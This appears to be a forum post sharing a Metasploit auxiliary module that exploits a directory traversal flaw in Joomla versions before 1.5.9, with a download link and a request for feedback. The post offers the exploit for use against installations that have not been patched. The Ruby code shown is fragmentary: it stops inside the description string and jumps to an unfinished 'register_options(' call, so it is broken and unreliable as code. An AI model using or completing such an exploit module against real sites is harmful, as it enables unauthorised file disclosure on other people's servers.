Most of affected Joomla installations are allready patched, because this vulnerability is almost three months old.
Anyway, this exploit can be useful :)

Feedback is welcome!

http://www.waraxe.us/tools/metasploits/joomla_dir_structure.rb

Code:

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla "X_CMS_LIBRARY_PATH" Directory Traversal Vulnerability',
'Description' => %q{
This module exploits an "X_CMS_LIBRARY_PATH" Directory Traversal Vulnerability in the
Joomla CMS versions < 1.5.9

register_options(
